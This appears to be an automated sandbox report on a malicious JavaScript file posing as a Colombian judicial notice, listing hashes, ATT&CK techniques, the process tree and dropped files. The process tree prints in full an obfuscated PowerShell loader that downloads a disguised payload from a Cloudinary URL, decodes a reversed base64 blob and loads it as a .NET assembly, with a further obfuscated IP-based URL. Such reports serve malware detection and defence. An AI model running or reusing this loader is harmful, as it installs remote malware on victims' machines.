ff82ba209528783a4321e1281c0db4e06718f6d1985cb8d93536a02b60c8379c

General

Target

CENDO RAMA JUDICIAL - Oficio 392 - OFICIO Y DETALLE DE ACTUACIÓN JUDICIAL.js
Size

73KB
MD5

ececcb43f7f2e1f294047fee6512849b
SHA1

ab25ccd9dc155e90b1828ac77b4deacfff2bd98d
SHA256

b03d8e95d48272334f35836a28a163f153eb3b00e97ce0466a3dce8202527f23
SHA512

fb2cd31e8f258fcadef22ff71686e1f8417d157b9bd56f0e2ac0493e92b8d0be5a1435977a7dfbe1dd14ac145ac41e1f73d893515fea823f02a51387a0815f4d
SSDEEP

1536:4l4izQ6VsYX/f53KKxAlFlwWJOKumLcAJ152k6:41zQ6Vj/BKpW

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg%20

exe.dropper

https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2760	powershell.exe
7	2760	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2760	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2760	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2628 wrote to memory of 2760	2628	wscript.exe	30
PID 2628 wrote to memory of 2760	2628	wscript.exe	30
PID 2628 wrote to memory of 2760	2628	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\CENDO RAMA JUDICIAL - Oficio 392 - OFICIO Y DETALLE DE ACTUACIÓN JUDICIAL.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.sejaiv/selif/971.611.021.78//:p##h';$restoredText = $originalText -replace '#', 't';$upholdster = 'https://res.cloudinary.com/daxwua63y/image/upload/v1737543662/new_image_h8btwc.jpg ';$scink = New-Object System.Net.WebClient;$stipules = $scink.DownloadData($upholdster);$daintith = [System.Text.Encoding]::UTF8.GetString($stipules);$monochromator = '<<BASE64_START>>';$habitationally = '<<BASE64_END>>';$xylosma = $daintith.IndexOf($monochromator);$ketofuranose = $daintith.IndexOf($habitationally);$xylosma -ge 0 -and $ketofuranose -gt $xylosma;$xylosma += $monochromator.Length;$guicowar = $ketofuranose - $xylosma;$hypsometrist = $daintith.Substring($xylosma, $guicowar);$pondhawks = -join ($hypsometrist.ToCharArray() | ForEach-Object { $_ })[-1..-($hypsometrist.Length)];$nominally = [System.Convert]::FromBase64String($pondhawks);$reflectoire = [System.Reflection.Assembly]::Load($nominally);$tooter = [dnlib.IO.Home].GetMethod('VAI');$tooter.Invoke($null, @($restoredText, 'thuya', 'thuya', 'thuya', 'aspnet_compiler', 'thuya', 'thuya','thuya','thuya','thuya','thuya','thuya','1','thuya','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabFA87.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarFA99.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/2760-4-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download
memory/2760-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2760-6-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/2760-41-0x0000000002CA0000-0x0000000002D20000-memory.dmp

Filesize
512KB

Download

Analysis

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